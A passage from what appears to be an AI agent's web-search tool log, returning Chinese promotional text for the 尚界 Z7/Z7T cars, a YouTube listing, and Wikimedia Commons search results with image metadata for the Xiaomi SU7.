紫粉色尚界 Z7 与 新绿色尚界 Z7T 侧视图,展示了车独特的设计造型 \n\n全新运动美学,低趴宽体。Z7,溜背线条顺⁠势而下,小鸭尾利落上扬,美感浑然一⁠体。 \nZ7T,真猎装,敢去野,以俯身之⁠姿,冲出高调气场,跑跑停停,都是风⁠景。\n\n5036 毫米 长度\n\n1976 毫米 宽度\n\n1465 毫米 高度\n\n3000 毫米 轴距\n\n## 敢靓,敢不一样\n\n 电光紫粉色尚界 Z7 电光紫粉色尚界 Z7\n\n 晚山新绿色尚界 Z7T 晚山新绿色尚界 Z7T\n\n \n\n \n\n电光紫粉2 掠过街角,甜且张扬。\n\n晚山新绿2 穿行山间,笃定之姿。\n\n更多颜色\n\n琥珀金绿色尚界 Z7T\n\n清晖蓝色尚界 Z7T\n\n超凡粉色尚界 Z7\n\n幻影紫色尚界 Z7T\n\n杜维埃蓝色尚界 Z7T\n\n流光银色尚界 Z7\n\n陶瓷白色尚界 Z7\n\n鎏金黑色尚界 Z7\n\n琥珀金绿\n\n清晖蓝\n\n超凡粉\n\n幻影紫\n\n杜维埃蓝\n\n流光银\n\n陶瓷白\n\n鎏金黑 [...] ### 全场景互联\n\n### HUAWEI SOUND\n\n可左右旋转、前后伸缩,主驾副驾,切⁠换视角刚刚⁠好。\n\n前后排屏幕联动,同享快乐;后排接入 MagLink Pad9,空调、座椅随心调; \n下⁠车⁠时,侧方路况屏上一目了然,安全多一分。\n\n全车 21 个标准扬声器单元,搭配 4 个天⁠空音单元,人声透,低音劲, \n音乐四⁠面⁠袭⁠来,随时澎湃开⁠场⁠9。\n\n## 上车, 拥抱新呼吸\n\n \n\n### 鸿蒙 ALPS 健康座舱\n\n座舱采用 MOFs 可吸附降解材料,全方位吸附有害物质, \n车内清爽怡⁠人。\n\n用户坐在尚界 Z7-Z7T 主驾中吹空调,展示了车的全新水离子空调 \n\n### 全新升级水离子空调\n\n纳米级水离子,温柔锁水保湿,呼吸间满是清⁠新。\n\n用户坐在尚界 Z7-Z7T 主驾中喝饮料,展示了车的车载风冷冰箱 \n\n### 6.5 L 车载风冷冰箱10\n\n不易凝露结霜,日常打理更省心。速热速冷,夏日冰饮, \n冬天温奶两相⁠宜。\n\n## 快人一步 更悦人一路\n\n 行驶中的尚界 Z7T,展示了车搭载华为途灵平台 \n\n全系搭载华为途灵平台,旅途尽兴释放,一路开,一路稳。\n\n## 不晃不颠,坐享舒服\n\n全系标配前双叉臂与后五连杆独立悬架,配合连续可变阻尼减振器,稳妥应对各种复杂路面。遇坑洼不颠,过弯不晃。坐进去,一直舒⁠服。\n\n 尚界 Z7 内部视图,展示了车的双叉臂与后五连杆独立悬架 \n\n\\图示配置为尚界 Z7 Ultra 版。\n\n## 全力以“速”\n\n行驶中的尚界 Z7,展示了车的零百加速\n\n行驶制动的尚界 Z7,展示了车的百零制动\n\n在水中行驶的尚界 Z7T,展示了车的涉水深度\n\n### 零百加速 3.44 s11\n\n### 百零制动 33.1 m11\n\n### 应急涉水深度 500 mm12\n\n劲速起步,快意当⁠先。 [...] 尚界 Z7 透视图,展示了车丰富的收纳空间\n\n尚界 Z7 的前备箱空间展示\n\n尚界 Z7T 的后备箱空间展示\n\n### 灵感橱窗\n\n专属 IP 手办台,为个性留出一方天地,放⁠手⁠办、摆潮玩,你的座舱展柜,全由你做⁠主。\n\n### 零重力座椅\n\n主副驾双零重力座椅5,支持通风加热按摩。采⁠用超柔零压减震海绵,舒适支撑,坐⁠躺间压力清⁠零。\n\n### 二排空间\n\n超大膝部空间,乘坐开阔舒展。座椅灵活放⁠倒,后⁠排秒变舒适大床,随需切换休憩模式,找回好⁠状⁠态。\n\n### 储物空间\n\n全车 41 处收纳点位,可吸可挂可接电6。磁吸点⁠位随手吸附,螺纹接口稳固挂⁠载,设备随取随⁠充;多处挂钩,奶茶、包包随手放,尾门挂⁠扣秒⁠变移动影院,出⁠行氛围感拉⁠满。\n\n### 前备箱\n\n大容量前备箱,足球、郊游装备轻松收纳。配⁠备 6 个挂钩,可搭配网兜,物品收⁠纳更有序。内⁠部排水设计,空间清洗更便⁠捷。\n\n### 后备箱\n\n559 L / 648 L 超大容量7,滑雪、冲浪、露营装⁠备,轻松容纳。支持脚踢开启、按⁠压 logo 解⁠锁,操作超简⁠单。\n\n010203040506 \n06\n\n## 偏爱,何止一面\n\n尚界 Z7-Z7T 黄色内饰\n\n尚界 Z7-Z7T 杏色内饰\n\n尚界 Z7-Z7T 紫色内饰\n\n尚界 Z7-Z7T 黑色内饰\n\n尚界 Z7-Z7T 红色内饰\n\n速影黄8\n\n缥云杏\n\n凝夜紫\n\n闪金黑\n\n沁夜红\n\n \n\n \n\n \n\n \n\n \n\n## 屏幕一转, 座舱更好玩\n\n \n\n \n\n尚界 Z7 全景立体声场,展示了车内搭载华为悦彰\n\n### 随动屏\n\n### 全场景互联\n\n### HUAWEI SOUND\n\n可左右旋转、前后伸缩,主驾副驾,切⁠换视角刚刚⁠好。", "score": 0.63804686, "published_date": ""}, {"index": 10, "title": "轿车猎装二选一!尚界Z7 是有点好玩在身上的", "url": "https://www.youtube.com/watch?v=Xi5Q90G0U7E", "content": "# 轿车猎装二选一!尚界 Z7 是有点好玩在身上的\n## 42HOW\n12100 subscribers\n10 likes\n\n### Description\n787 views\nPosted: 3 Apr 2026\n猎装版和轿车版本同步上市见过吗?尚界 Z7 和尚界 Z7T 这波就一起来了。\n\n1 comments\n### Transcript:", "score": 0.5634506, "published_date": ""}], "total_results": 10}}, "tool_call_id": "tool_Bq5lX4JqU35DlGIHxDhnFIWI", "name": "web_search"}, {"role": "tool", "content": "{\"success\": true, \"summary\": \"🔍 搜索查询: Xiaomi SU7 site:commons.wikimedia.org\\n📅 搜索时间: 2026-08-23T13:33:37.880482\\n🎯 过滤条件: Topic: general\\n\\n📊 搜索结果:\\n\\n1. Category:Xiaomi SU7 - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/Category:Xiaomi_SU7?uselang=sq\\n 📄 Wikimedia Commons\\n\\n# Category:Xiaomi SU7\\n\\nXiaomi SU7\\n\\n| | |\\n --- |\\n| Electric full-size sport sedan, first car made by Xiaomi imazh image of interior | |\\n| Ngarko media | |\\n| Wikipedia | |\\n| Insta...\\n\\n2. File:(CHN-Shanghai) Private Xiaomi SU7 沪A7WE106 2024-11-24.jpg - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/File:(CHN-Shanghai)_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg\\n 📄 # File:(CHN-Shanghai) Private Xiaomi SU7 沪A7WE106 2024-11-24.jpg. * File_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg \\\"View the file page [c]\\\"). * Discussion_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_...\\n\\n3. Category:Xiaomi SU7 - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/Category:Xiaomi_SU7\\n 📄 Xiaomi SU7\\n\\n| Electric full-size sport sedan, first car made by Xiaomi image image of interior |\\n| Upload media |\\n| Wikipedia |\\n| Instance of | car model |\\n| Subclass of | electric car battery el...\\n\\n4. File:20241231 Xiaomi SU7 on display at Xiaomi Store, Grand Emporium.jpg - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/File:20241231_Xiaomi_SU7_on_display_at_Xiaomi_Store,_Grand_Emporium.jpg\\n 📄 | | |\\n --- |\\n| Camera manufacturer | Apple |\\n| Camera model | iPhone 15 Pro Max |\\n| Exposure time | 1/244 sec (0.0040983606557377) |\\n| F-number | f/1.7799999713881 |\\n| ISO speed rating | 64 |\\n| Date...\\n\\n5. File:Xiaomi SU7 purple front view (March 21, 2025).jpg - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg\\n 📄 Wikimedia Commons\\n\\n## Contents\\n\\n# File:Xiaomi SU7 purple front view (March 21, 2025).jpg\\n\\nFile:Xiaomi SU7 purple front view (March 21, 2025).jpg\\n\\n## Captions\\n\\n### Captions\\n\\n## Summary\\n\\n| | |\\n --- |\\n...\\n\\n6. File:Xiaomi SU7 Max.jpg - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Max.jpg\\n 📄 Title: File:Xiaomi SU7 Max.jpg - Wikimedia Commons\\n# File:Xiaomi SU7 Max.jpg. * File usage on other wikis. File:Xiaomi SU7 Max.jpg. Original file (2,626 × 2,839 pixels, file size: 1.72 MB, MIME type: ...\\n\\n7. File:Interior of of Xiaomi SU7 Max-20240413.jpg - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/File:Interior_of_of_Xiaomi_SU7_Max-20240413.jpg\\n 📄 Wikimedia Commons\\n\\n## Contents\\n\\n# File:Interior of of Xiaomi SU7 Max-20240413.jpg\\n\\nFile:Interior of of Xiaomi SU7 Max-20240413.jpg\\n\\n## Captions\\n\\n### Captions\\n\\n## Summary\\n\\n| | |\\n --- |\\n| DescriptionI...\\n\\n8. File:Xiaomi SU7 Ultra 0001 China 2025-03-28.jpg - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Ultra_0001_China_2025-03-28.jpg\\n 📄 Original file (1,300 × 741 pixels, file size: 534 KB, MIME type: image/jpeg)\\n\\nFile information\\n\\nStructured data\\n\\n## Captions\\n\\n### Captions\\n\\nXiaomi SU7 Ultra photographed in Chengdu, Sichuan province, ...\\n\\n9. File:20241007 Xiaomi SU7 Max.jpg - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/File:20241007_Xiaomi_SU7_Max.jpg\\n 📄 Wikimedia Commons\\n\\n## Contents\\n\\n# File:20241007 Xiaomi SU7 Max.jpg\\n\\nFile:20241007 Xiaomi SU7 Max.jpg\\n\\n## Captions\\n\\n### Captions\\n\\n## Summary\\n\\n| | |\\n --- |\\n| Description20241007 Xiaomi SU7 Max.jpg | E...\\n\\n10. File:Xiaomi SU7 Ultra rear view (April 7, 2025).jpg - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Ultra_rear_view_(April_7,_2025).jpg\\n 📄 | APEX shutter speed | 6.9220898258478 |\\n| APEX aperture | 1.6637544825625 |\\n| APEX brightness | 4.2792810917748 |\\n| APEX exposure bias | 0 |\\n| Metering mode | Pattern |\\n| Flash | Flash did not fire, ...\", \"query\": \"Xiaomi SU7\", \"filters\": {\"topic\": \"general\"}, \"total_results\": 10, \"results\": [{\"index\": 1, \"title\": \"Category:Xiaomi SU7 - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/Category:Xiaomi_SU7?uselang=sq\"}, {\"index\": 2, \"title\": \"File:(CHN-Shanghai) Private Xiaomi SU7 沪A7WE106 2024-11-24.jpg - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/File:(CHN-Shanghai)_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg\"}, {\"index\": 3, \"title\": \"Category:Xiaomi SU7 - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/Category:Xiaomi_SU7\"}, {\"index\": 4, \"title\": \"File:20241231 Xiaomi SU7 on display at Xiaomi Store, Grand Emporium.jpg - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/File:20241231_Xiaomi_SU7_on_display_at_Xiaomi_Store,_Grand_Emporium.jpg\"}, {\"index\": 5, \"title\": \"File:Xiaomi SU7 purple front view (March 21, 2025).jpg - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg\"}, {\"index\": 6, \"title\": \"File:Xiaomi SU7 Max.jpg - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Max.jpg\"}, {\"index\": 7, \"title\": \"File:Interior of of Xiaomi SU7 Max-20240413.jpg - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/File:Interior_of_of_Xiaomi_SU7_Max-20240413.jpg\"}, {\"index\": 8, \"title\": \"File:Xiaomi SU7 Ultra 0001 China 2025-03-28.jpg - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Ultra_0001_China_2025-03-28.jpg\"}, {\"index\": 9, \"title\": \"File:20241007 Xiaomi SU7 Max.jpg - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/File:20241007_Xiaomi_SU7_Max.jpg\"}, {\"index\": 10, \"title\": \"File:Xiaomi SU7 Ultra rear view (April 7, 2025).jpg - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Ultra_rear_view_(April_7,_2025).jpg\"}]}", "timestamp": "2026-08-23T13:33:37.976298", "message_id": "msg_be1650f1b6b9429e94a442605c9bb704", "metadata": {"tool_payload": {"success": true, "summary": "🔍 搜索查询: Xiaomi SU7 site:commons.wikimedia.org\n📅 搜索时间: 2026-08-23T13:33:37.880482\n🎯 过滤条件: Topic: general\n\n📊 搜索结果:\n\n1. Category:Xiaomi SU7 - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/Category:Xiaomi_SU7?uselang=sq\n 📄 Wikimedia Commons\n\n# Category:Xiaomi SU7\n\nXiaomi SU7\n\n| | |\n --- |\n| Electric full-size sport sedan, first car made by Xiaomi imazh image of interior | |\n| Ngarko media | |\n| Wikipedia | |\n| Insta...\n\n2. File:(CHN-Shanghai) Private Xiaomi SU7 沪A7WE106 2024-11-24.jpg - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/File:(CHN-Shanghai)_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg\n 📄 # File:(CHN-Shanghai) Private Xiaomi SU7 沪A7WE106 2024-11-24.jpg. * File_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg \"View the file page [c]\"). * Discussion_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_...\n\n3. Category:Xiaomi SU7 - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/Category:Xiaomi_SU7\n 📄 Xiaomi SU7\n\n| Electric full-size sport sedan, first car made by Xiaomi image image of interior |\n| Upload media |\n| Wikipedia |\n| Instance of | car model |\n| Subclass of | electric car battery el...\n\n4. File:20241231 Xiaomi SU7 on display at Xiaomi Store, Grand Emporium.jpg - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/File:20241231_Xiaomi_SU7_on_display_at_Xiaomi_Store,_Grand_Emporium.jpg\n 📄 | | |\n --- |\n| Camera manufacturer | Apple |\n| Camera model | iPhone 15 Pro Max |\n| Exposure time | 1/244 sec (0.0040983606557377) |\n| F-number | f/1.7799999713881 |\n| ISO speed rating | 64 |\n| Date...\n\n5. File:Xiaomi SU7 purple front view (March 21, 2025).jpg - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg\n 📄 Wikimedia Commons\n\n## Contents\n\n# File:Xiaomi SU7 purple front view (March 21, 2025).jpg\n\nFile:Xiaomi SU7 purple front view (March 21, 2025).jpg\n\n## Captions\n\n### Captions\n\n## Summary\n\n| | |\n --- |\n...\n\n6. File:Xiaomi SU7 Max.jpg - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Max.jpg\n 📄 Title: File:Xiaomi SU7 Max.jpg - Wikimedia Commons\n# File:Xiaomi SU7 Max.jpg. * File usage on other wikis. File:Xiaomi SU7 Max.jpg. Original file (2,626 × 2,839 pixels, file size: 1.72 MB, MIME type: ...\n\n7. File:Interior of of Xiaomi SU7 Max-20240413.jpg - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/File:Interior_of_of_Xiaomi_SU7_Max-20240413.jpg\n 📄 Wikimedia Commons\n\n## Contents\n\n# File:Interior of of Xiaomi SU7 Max-20240413.jpg\n\nFile:Interior of of Xiaomi SU7 Max-20240413.jpg\n\n## Captions\n\n### Captions\n\n## Summary\n\n| | |\n --- |\n| DescriptionI...\n\n8. File:Xiaomi SU7 Ultra 0001 China 2025-03-28.jpg - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Ultra_0001_China_2025-03-28.jpg\n 📄 Original file (1,300 × 741 pixels, file size: 534 KB, MIME type: image/jpeg)\n\nFile information\n\nStructured data\n\n## Captions\n\n### Captions\n\nXiaomi SU7 Ultra photographed in Chengdu, Sichuan province, ...\n\n9. File:20241007 Xiaomi SU7 Max.jpg - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/File:20241007_Xiaomi_SU7_Max.jpg\n 📄 Wikimedia Commons\n\n## Contents\n\n# File:20241007 Xiaomi SU7 Max.jpg\n\nFile:20241007 Xiaomi SU7 Max.jpg\n\n## Captions\n\n### Captions\n\n## Summary\n\n| | |\n --- |\n| Description20241007 Xiaomi SU7 Max.jpg | E...\n\n10. File:Xiaomi SU7 Ultra rear view (April 7, 2025).jpg - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Ultra_rear_view_(April_7,_2025).jpg\n 📄 | APEX shutter speed | 6.9220898258478 |\n| APEX aperture | 1.6637544825625 |\n| APEX brightness | 4.2792810917748 |\n| APEX exposure bias | 0 |\n| Metering mode | Pattern |\n| Flash | Flash did not fire, ...", "filters": {"topic": "general"}, "query": "Xiaomi SU7", "results": [{"index": 1, "title": "Category:Xiaomi SU7 - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/Category:Xiaomi_SU7?uselang=sq", "content": "Wikimedia Commons\n\n# Category:Xiaomi SU7\n\nXiaomi SU7\n\n| | |\n --- |\n| Electric full-size sport sedan, first car made by Xiaomi imazh image of interior | |\n| Ngarko media | |\n| Wikipedia | |\n| Instancë e | car model |\n| Nënklasë e | makinë elektrike battery electric vehicle |\n| Prodhues | Xiaomi Auto |\n| Motor | Elektromotori |\n| Gjerësia | 1.963 mm |\n| Gjatësi | 4.997 mm |\n| Lartësia | 1.455 mm |\n| Wheelbase | 3.000 mm |\n| webfaqja zyrtare | |\n| | Authority file | | Wikidata Q123470261 | | Reasonator Scholia Wikidocumentaries PetScan statistika WikiMap Locator tool KML file Search depicted | | | |\n| Edit infobox data on Wikidata | |\n\n| Authority file |", "score": 0.85008353, "published_date": ""}, {"index": 2, "title": "File:(CHN-Shanghai) Private Xiaomi SU7 沪A7WE106 2024-11-24.jpg - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/File:(CHN-Shanghai)_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg", "content": "# File:(CHN-Shanghai) Private Xiaomi SU7 沪A7WE106 2024-11-24.jpg. * File_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg \"View the file page [c]\"). * Discussion_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg&action=edit&redlink=1 \"Discussion about the content page (page does not exist) [t]\"). * Read_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg). * Edit_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg&action=edit \"Edit this page [e]\"). * View history_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg&action=history \"Past revisions of this page [h]\"). * Read_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg). * Edit_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg&action=edit \"Edit this page [e]\"). * View history_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg&action=history). * What links here_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg \"A list of all wiki pages that link here [j]\"). * Related changes_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg \"Recent changes in pages linked from this page [k]\"). * Permanent link_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg&oldid=1043439714 \"Permanent link to this revision of this page\"). * Page information_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg&action=info \"More information about this page\"). From Wikimedia Commons, the free media repository. * File usage on other wikis. Original file Private Xiaomi SU7 沪A7WE106 2024-11-24.jpg\") (5,358 × 3,014 pixels, file size: 3.56 MB, MIME type: image/jpeg). 沪A7WE106 (fictionalized license plate), a privately operated Xiaomi SU7. Photo taken on 2024/11/24. [edit_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg&action=edit§ion=1 \"Edit section: Summary\")]. [edit_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg&action=edit§ion=2 \"Edit section: Licensing\")]. I, the copyright holder of this work, hereby publish it under the following license:. This file is licensed under the Creative Commons Attribution 4.0 International license. * **attribution** – You must give appropriate credit, provide a link to the license, and indicate if changes were made. BY 4.0 Creative Commons Attribution 4.0 truetrue. ## File history. Click on a date/time to view the file as it appeared at that time. You cannot overwrite this file. ## File usage on Commons. The following 4 pages use this file:. * Commons:Quality images/Subject/Objects/Transport and Vehicles/Automobiles. * Commons:Quality images candidates/Archives April 09 2025. ## File usage on other wikis. The following other wikis use this file:. This file contains additional information such as Exif metadata which may have been added by the digital camera, scanner, or software program used to create or digitize it. If the file has been modified from its original state, some details such as the timestamp may not fully reflect those of the original file. ### Items portrayed in this file. #### Xiaomi SU7. #### copyrighted. #### copyright license. #### Creative Commons Attribution 4.0 International. #### source of file. #### Commons quality assessment. #### Wikimedia Commons quality image. * China photographs taken on 2024-11-24. File:(CHN-Shanghai) Private Xiaomi SU7 沪A7WE106 2024-11-24.jpg.", "score": 0.8440111, "published_date": ""}, {"index": 3, "title": "Category:Xiaomi SU7 - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/Category:Xiaomi_SU7", "content": "Xiaomi SU7\n\n| Electric full-size sport sedan, first car made by Xiaomi image image of interior |\n| Upload media |\n| Wikipedia |\n| Instance of | car model |\n| Subclass of | electric car battery electric vehicle |\n| Manufacturer | Xiaomi Auto |\n| Powered by | electric motor |\n| Width | 1,963 mm |\n| Length | 4,997 mm |\n| Height | 1,455 mm |\n| Wheelbase | 3,000 mm |\n| official website |\n| | Authority file | | Wikidata Q123470261 | | Reasonator Scholia Wikidocumentaries PetScan statistics WikiMap Locator tool KML file Search depicted | |\n\n## Subcategories\n\nThis category has only the following subcategory.\n\n### U\n\n Xiaomi SU7 Ultra (1 C, 10 F)\n\n## Media in category \"Xiaomi SU7\"\n\nThe following 80 files are in this category, out of 80 total. [...] Xiaomi SU7; Xiaomi SU7; Xiaomi SU7; Xiaomi SU7; Xiaomi SU7; Xiaomi SU7; Xiaomi SU7; شیائومی اس‌یو۷; 小米SU7; Xiaomi SU7; Xiaomi SU7; Xiaomi・SU7; Xiaomi SU7; Xiaomi SU7; Xiaomi SU7; Xiaomi SU7; Xiaomi SU7; Xiaomi SU7; 小米SU7; Xiaomi SU7; Xiaomi SU7; 샤오미 SU7; Xiaomi SU7; Xiaomi SU7; Xiaomi SU7; Xiaomi SU7; prima auto realizzata da Xiaomi; berline sportive, première voiture fabriquée par Xiaomi; Elektryczny samochód osobowy segmentu E; Cotxe Sport Sedan, primer cotxe fabricat per Xiaomi; Xiaomi tarafından yapılmış ilk araba; Elektroauto von Xiaomi Auto; Carro Sport Sedan, primeiro carro fabricado pela Xiaomi; Electric full-size sport sedan, first car made by Xiaomi; 小米的首款汽车产品; bateriový elektrický sedan; automóvil sedan deportivo; Xiaomi suqi; 小米SU7\n\nXiaomi SU7 [...] Xiaomi SU7 MY2026 IMG01.jpg 3,830 × 2,873; 2.26 MB\n \n\n Xiaomi SU7 MY2026 IMG02.jpg 3,848 × 2,886; 2.7 MB\n \n\n Xiaomi SU7 MY2026 IMG03.jpg 4,032 × 3,024; 1.96 MB\n \n\n Xiaomi SU7 Pro in Tianhe, Guangzhou 20250713.jpg 3,461 × 2,307; 4.54 MB\n \n\n Xiaomi SU7 prototype 001.jpg 1,440 × 1,080; 353 KB\n .jpg)\n\n Xiaomi SU7 purple front view (March 21, 2025).jpg.jpg \"File:Xiaomi SU7 purple front view (March 21, 2025).jpg\") 4,032 × 2,268; 3.68 MB\n .jpg)\n\n Xiaomi SU7 purple rear view (March 21, 2025).jpg.jpg \"File:Xiaomi SU7 purple rear view (March 21, 2025).jpg\") 4,032 × 2,268; 3.47 MB\n \n\n Xiaomi SU7 with Tianjin plates, lower angle from front.jpg 6,000 × 4,000; 10.56 MB\n \n\n Xiaomi SU7 with Tianjin plates.jpg 6,000 × 4,000; 11.94 MB\n \n\n Xiaomi Su7 内部 01.jpg 4,096 × 3,072; 3.43 MB", "score": 0.79254496, "published_date": ""}, {"index": 4, "title": "File:20241231 Xiaomi SU7 on display at Xiaomi Store, Grand Emporium.jpg - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/File:20241231_Xiaomi_SU7_on_display_at_Xiaomi_Store,_Grand_Emporium.jpg", "content": "| | |\n --- |\n| Camera manufacturer | Apple |\n| Camera model | iPhone 15 Pro Max |\n| Exposure time | 1/244 sec (0.0040983606557377) |\n| F-number | f/1.7799999713881 |\n| ISO speed rating | 64 |\n| Date and time of data generation | 18:11, 31 December 2024 |\n| Lens focal length | 6.7649998656528 mm |\n| Latitude | 34° 47′ 46.7″ N |\n| Longitude | 113° 40′ 28.31″ E |\n| Altitude | 91.054 meters above sea level |\n| Width | 5,525 px |\n| Height | 3,683 px |\n| Bits per component | 8 8 8 |\n| Pixel composition | RGB |\n| Orientation | Normal |\n| Number of components | 3 |\n| Horizontal resolution | 72 dpi |\n| Vertical resolution | 72 dpi |\n| Software used | Adobe Photoshop 22.4 (Macintosh) |\n| File change date and time | 20:31, 3 January 2025 |\n| Y and C positioning | Centered | [...] Wikimedia Commons\n\n## Contents\n\n# File:20241231 Xiaomi SU7 on display at Xiaomi Store, Grand Emporium.jpg\n\nFile:20241231 Xiaomi SU7 on display at Xiaomi Store, Grand Emporium.jpg\n\n## Captions\n\n### Captions\n\n## Summary\n\n| | |\n --- |\n| Description20241231 Xiaomi SU7 on display at Xiaomi Store, Grand Emporium.jpg | 中文:​正弘城小米之家内展示的小米SU7 English: Xiaomi SU7 on display at Xiaomi Store, Grand Emporium |\n| Date | 31 December 2024, 18:11:43 |\n| Source | Own work |\n| Author | Windmemories |\n\n| | | | |\n --- --- |\n| Camera location | 34° 47′ 46.7″ N, 113° 40′ 28.31″ E Heading=25.695220947266° Kartographer map based on OpenStreetMap. | View this and other nearby images on: OpenStreetMap | info 34.796306; 113.674531 |\n\nHeading=25.695220947266°\nKartographer map based on OpenStreetMap.\ninfo [...] | Y and C positioning | Centered |\n| Exposure Program | Normal program |\n| Exif version | 2.32 |\n| Date and time of digitizing | 18:11, 31 December 2024 |\n| Meaning of each component | 1. Y 2. Cb 3. Cr 4. does not exist |\n| APEX shutter speed | 7.9315685722332 |\n| APEX aperture | 1.6637544366005 |\n| APEX brightness | 5.8540534009907 |\n| APEX exposure bias | 0 |\n| Metering mode | Pattern |\n| Flash | Flash did not fire, compulsory flash suppression |\n| DateTimeOriginal subseconds | 539 |\n| DateTimeDigitized subseconds | 539 |\n| Supported Flashpix version | 1 |\n| Color space | Uncalibrated |\n| Sensing method | One-chip color area sensor |\n| Scene type | A directly photographed image |\n| Exposure mode | Auto exposure |\n| White balance | Auto white balance |", "score": 0.7795405, "published_date": ""}, {"index": 5, "title": "File:Xiaomi SU7 purple front view (March 21, 2025).jpg - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg", "content": "Wikimedia Commons\n\n## Contents\n\n# File:Xiaomi SU7 purple front view (March 21, 2025).jpg\n\nFile:Xiaomi SU7 purple front view (March 21, 2025).jpg\n\n## Captions\n\n### Captions\n\n## Summary\n\n| | |\n --- |\n| DescriptionXiaomi SU7 purple front view (March 21, 2025).jpg | English: Xiaomi SU7 purple front view. |\n| Date | 21 March 2025, 16:18:51 |\n| Source | Own work |\n| Author | 茅野ふたば |\n\n| | | | |\n --- --- |\n| Camera location | 23° 02′ 29.37″ N, 113° 45′ 38.59″ E.jpg¶ms=023.041492_N_0113.760719_E_globe:Earth_type:camera_heading:50.93&language=en) Heading=50.927307120659° Kartographer map based on OpenStreetMap. | View this and other nearby images on: OpenStreetMap | info 23.041492; 113.760719 |\n\nHeading=50.927307120659°\nKartographer map based on OpenStreetMap.\ninfo\n\n## Licensing [...] | APEX shutter speed | 9.7429797191888 |\n| APEX aperture | 1.6637544825625 |\n| APEX brightness | 7.2963895073081 |\n| APEX exposure bias | 0 |\n| Metering mode | Pattern |\n| Flash | Flash did not fire, compulsory flash suppression |\n| DateTimeOriginal subseconds | 219 |\n| DateTimeDigitized subseconds | 219 |\n| Supported Flashpix version | 1 |\n| Color space | Uncalibrated |\n| Sensing method | One-chip color area sensor |\n| Scene type | A directly photographed image |\n| Exposure mode | Auto exposure |\n| White balance | Auto white balance |\n| Focal length in 35 mm film | 24 mm |\n| Scene capture type | Standard |\n| GPS time (atomic clock) | 08:18 |\n| Speed unit | Kilometers per hour |\n| Speed of GPS receiver | 0.051153797654575 |\n| Reference for direction of image | True direction | [...] | | |\n --- |\n| Camera manufacturer | Apple |\n| Camera model | iPhone 14 Pro Max |\n| Exposure time | 1/857 sec (0.0011668611435239) |\n| F-number | f/1.78 |\n| ISO speed rating | 80 |\n| Date and time of data generation | 16:18, 21 March 2025 |\n| Lens focal length | 6.86 mm |\n| Latitude | 23° 2′ 29.37″ N |\n| Longitude | 113° 45′ 38.59″ E |\n| Altitude | 12.108 meters 